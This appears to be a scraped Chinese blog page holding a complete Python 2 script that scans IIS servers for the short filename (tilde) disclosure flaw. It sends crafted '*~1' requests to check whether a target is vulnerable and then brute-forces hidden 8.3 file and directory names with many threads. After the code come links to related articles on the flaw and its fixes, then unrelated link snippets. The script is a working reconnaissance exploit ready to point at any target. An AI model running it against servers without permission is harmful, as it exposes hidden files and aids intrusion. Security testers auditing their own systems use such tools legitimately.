IIS短文件名扫描工具
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import
sys
import
httplib
import
urlparse
import
string
import
threading
import
Queue
import
time
import
string
class
Scanner():
def
__init__(
self
, target):
self
.target
=
target
self
.scheme,
self
.netloc,
self
.path, params, query, fragment
=
urlparse.urlparse(target)
if
self
.path[
-
1
:] !
=
'/'
:
# ends with slash
self
.path
+
=
'/'
self
.payloads
=
list
(
'abcdefghijklmnopqrstuvwxyz0123456789_-'
)
self
.files
=
[]
self
.dirs
=
[]
self
.queue
=
Queue.Queue()
self
.lock
=
threading.Lock()
self
.threads
=
[]
def
_conn(
self
):
try
:
if
self
.scheme
=
=
'https'
:
conn
=
httplib.HTTPSConnection(
self
.netloc)
else
:
conn
=
httplib.HTTPConnection(
self
.netloc)
return
conn
except
Exception, e:
print
'[Exception in function _conn]'
, e
return
None
# fetch http response status code
def
_get_status(
self
, path):
try
:
conn
=
self
._conn()
conn.request(
'GET'
, path)
status
=
conn.getresponse().status
conn.close()
return
status
except
Exception, e:
raise
Exception(
'[Exception in function _get_status] %s'
%
str
(e) )
# test weather the server is vulerable
def
is_vul(
self
):
try
:
status_1
=
self
._get_status(
self
.path
+
'/*~1****/a.aspx'
)
# an existed file/folder
status_2
=
self
._get_status(
self
.path
+
'/san1e*~1****/a.aspx'
)
# not existed file/folder
if
status_1
=
=
404
and
status_2
=
=
400
:
return
True
return
False
except
Exception, e:
raise
Exception(
'[Exception in function is_val] %s'
%
str
(e) )
def
run(
self
):
# start from root path
for
payload
in
self
.payloads:
self
.queue.put( (
self
.path
+
payload,
'****'
) )
# filename, extention
for
i
in
range
(
10
):
t
=
threading.Thread(target
=
self
._scan_worker)
self
.threads.append(t)
t.start()
def
report(
self
):
for
t
in
self
.threads:
t.join()
self
._print(
'-'
*
64
)
for
d
in
self
.dirs:
self
._print(
'Dir: '
+
d)
for
f
in
self
.files:
self
._print(
'File: '
+
f)
self
._print(
'-'
*
64
)
self
._print(
'%d Directories, %d Files found in toal'
%
(
len
(
self
.dirs),
len
(
self
.files)) )
def
_print(
self
, msg):
self
.lock.acquire()
print
msg
self
.lock.release()
def
_scan_worker(
self
):
while
True
:
try
:
url, ext
=
self
.queue.get(timeout
=
3
)
status
=
self
._get_status(url
+
'*~1'
+
ext
+
'/1.aspx'
)
if
status
=
=
404
:
self
._print(
'Found '
+
url
+
ext
+
'\t[scan in progress]'
)
if
len
(url)
-
len
(
self
.path)<
6
:
# enum first 6 chars only
for
payload
in
self
.payloads:
self
.queue.put( (url
+
payload, ext) )
else
:
if
ext
=
=
'****'
:
# begin to scan extention
for
payload
in
string.ascii_lowercase:
self
.queue.put( (url,
'*'
+
payload
+
'**'
) )
self
.queue.put( (url,'') )
# also it can be a folder
elif
ext.count(
'*'
)
=
=
3
:
for
payload
in
string.ascii_lowercase:
self
.queue.put( (url,
'*'
+
ext[
1
]
+
payload
+
'*'
) )
elif
ext.count(
'*'
)
=
=
2
:
for
payload
in
string.ascii_lowercase:
self
.queue.put( (url,
'*'
+
ext[
1
]
+
ext[
2
]
+
payload ) )
elif
ext
=
=
'':
self
.dirs.append(url
+
'~1'
)
self
._print(
'Found Dir '
+
url
+
'~1\t[Done]'
)
elif
ext.count(
'*'
)
=
=
1
:
self
.files.append(url
+
'~1.'
+
ext[
1
:])
self
._print(
'Found File '
+
url
+
'~1.'
+
ext[
1
:]
+
'\t[Done]'
)
except
Exception,e:
break
if
len
(sys.argv)
=
=
1
:
print
'Usage: %s target'
%
sys.argv[
0
]
sys.exit()
target
=
sys.argv[
1
]
s
=
Scanner(target)
if
not
s.is_vul():
print
'Sorry, server is not vulerable'
sys.exit(
0
)
print
'server is vulerable, please wait, scanning...'
s.run()
s.report()
IIS短文件名扫描工具的更多相关文章
- 利用URLScan工具过滤URL中的特殊字符(仅针对IIS6)-- 解决IIS短文件名漏洞
IIS短文件名漏洞在windows服务器上面非常常见,也就是利用“~”字符猜解暴露短文件/文件夹名,比如,采用这种方式构造URL:http://aaa.com/abc~1/.aspx,根据IIS返回的 ...
- IIS短文件名漏洞原理与挖掘思路
首先来几个网址先了解一下 https://www.jb51.net/article/166405.htm https://www.freebuf.com/articles/web/172561.htm ...
- IIS短文件名泄露漏洞危害及防范方法
危害级别:轻微 IIS短文件名泄露漏洞 WASC Threat Classification 描述: Microsoft IIS在实现上存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件 ...
- IIS短文件名泄露漏洞危害及防范方法(转)
攻击方法(转自http://blog.sina.com.cn/s/blog_64a3795a01017xqt.html) 一直在寻找一种方法,如果我可以使用通配符"*" 和 &qu ...
- IIS短文件名漏洞复现
IIS短文件名漏洞复现 一.漏洞描述 此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的.它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问). ...
- 【中间件】IIS短文件名枚举漏洞
1.1.1 漏洞描述 为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名. 在Windows下查看对应的短文件名,可以使用命令 ...
- IIS短文件名漏洞修补方法之一改注册表一个注意项
1)1.png 为漏洞存在没有做任何修复的时候的扫描 修复:2) 修改注册表键值: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSy ...
- POC iis短文件名
__author__ = '*'# -*- coding:utf-8 -*- from lib.httpparse import httpparse def verify(protocol,ip,po ...
- IIS6利用URLScan修复IIS短文件名漏洞
一.下载URLScan 3.1 链接: http://pan.baidu.com/s/1i4HfKrj 密码: dmud 二.安装URLScan 3.1 安装完成以后,我们可以在System32/In ...
随机推荐
- C# 定时器运用
在晚上12点执行任务 using System;using System.Collections.Generic;using System.ComponentModel;using System.Da ...
- C# String.Format格式说明
C#格式化数值结果表 字符 说明 示例 输出 C 货币 string.Format("{0:C3}", 2) $2.000 D 十进制 string.Format("{0 ...
- 根据位置信息提取 fasta 文件中的序列 -- extract fasta sequence by their position
#!/usr/bin/env python # usages: python extract_seq_by_pos.py input.fasta id_start_end > result.fa ...
- android开发之生命周期
android开发之生命周期 一:Activity的生命周期: 这几天了了解了安卓Activity的生命周期,对于生命周期有了大概的理解: 一个Activity的生命周期也就是Activity从生成到 ...
- 【caffe】create_cifar10.sh在windows下解决方案
@tags caffe python windows下配置caffe后,create_cifar10.sh无法执行,因为是shell脚本.那就看懂脚本意思,用python重写一个: # create_ ...
- 【uoj149】 NOIP2015—子串
http://uoj.ac/problem/149 (题目链接) 题意 给出两个字符串A.B,问从A中取出k个互不重叠的子串按顺序组成B的方案数. Solution 一看这种题目就是字符串dp,字符串 ...
- Linux Network Related Drive
catalog . 通过套接字通信 . 网络实现的分层模型 . 网络命名空间 . 套接字缓冲区 . 网络访问层 . 网络层 . 传输层 . 应用层 . 内核内部的网络通信 1. 通过套接字通信 Lin ...
- Discuz! X upgrade/converter GETSHELL Vulnerability Via /convert/include/global.func.php Inject Special Symbol Into /convert/data/config.inc.php
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对于PHP应用来说,处于用户的输入并正确划定"数据-代码"边界 ...
- POJ 2533 Longest Ordered Subsequence(最长上升子序列(NlogN)
传送门 Description A numeric sequence of ai is ordered if a1 < a2 < ... < aN. Let the subseque ...
- Linux Basis --- commands of vi
EDIT mode to GENERAL mode: press ESC general mode: CLOSE FILE :q! :force to close the file but no ...